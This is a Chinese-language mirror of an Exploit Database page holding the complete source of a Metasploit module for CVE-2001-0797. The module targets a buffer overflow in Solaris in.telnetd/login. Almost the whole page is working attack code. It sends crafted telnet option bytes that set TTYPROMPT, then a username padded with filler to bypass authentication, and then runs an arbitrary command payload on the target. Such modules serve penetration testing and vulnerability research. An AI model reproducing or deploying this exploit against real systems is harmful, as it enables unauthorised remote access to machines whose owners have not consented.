Solaris TelnetD – ‘TTYPROMPT’ Remote Buffer Overflow (2) (Metasploit)

• Exploit Database
• 50 阅读

• 作者： Metasploit
  日期： 2010-06-22
• 类别：

  • remote
  平台：

  • solaris
• 来源：https://www.exploit-db.com/exploits/16327/

• ##
  # $Id: ttyprompt.rb 9583 2010-06-22 19:11:05Z todb $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
  			'Description'=> %q{
  				This module uses a buffer overflow in the Solaris 'login'
  			application to bypass authentication in the telnet daemon.
  			},
  			'Author' => [ 'MC', 'cazz' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9583 $',
  			'References' =>
  				[
  					[ 'CVE', '2001-0797'],
  					[ 'OSVDB', '690'],
  					[ 'BID', '5531'],
  
  				],
  			'Privileged' => false,
  			'Platform' => ['unix', 'solaris'],
  			'Arch' => ARCH_CMD,
  			'Payload'=>
  				{
  					'Space'=> 2000,
  					'BadChars' => '',
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl telnet',
  						}
  				},
  			'Targets'=>
  				[
  					['Automatic', { }],
  				],
  			'DisclosureDate' => 'Jan 18 2002',
  			'DefaultTarget' => 0))
  
  			register_options(
  				[
  					Opt::RPORT(23),
  					OptString.new('USER', [ true, "The username to use", "bin" ]),
  				], self.class)
  	end
  
  	def exploit
  		connect
  
  		banner = sock.get_once
  
  		print_status('Setting TTYPROMPT...')
  
  		req =
  			"\xff\xfc\x18" +
  			"\xff\xfc\x1f" +
  			"\xff\xfc\x21" +
  			"\xff\xfc\x23" +
  			"\xff\xfb\x22" +
  			"\xff\xfc\x24" +
  			"\xff\xfb\x27" +
  			"\xff\xfb\x00" +
  			"\xff\xfa\x27\x00" +
  			"\x00TTYPROMPT" +
  			"\x01" +
  			rand_text_alphanumeric(6) +
  			"\xff\xf0"
  
  		sock.put(req)
  		select(nil,nil,nil,0.25)
  
  		print_status('Sending username...')
  
  		filler = rand_text_alpha(rand(10) + 1)
  
  		req << datastore['USER'] + (" #{filler}" * 65)
  
  		sock.put(req + "\n\n\n")
  
  		select(nil,nil,nil,0.25)
  		sock.get_once
  
  		sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
  
  		select(nil,nil,nil,0.25)
  
  		handler
  	end
  
  end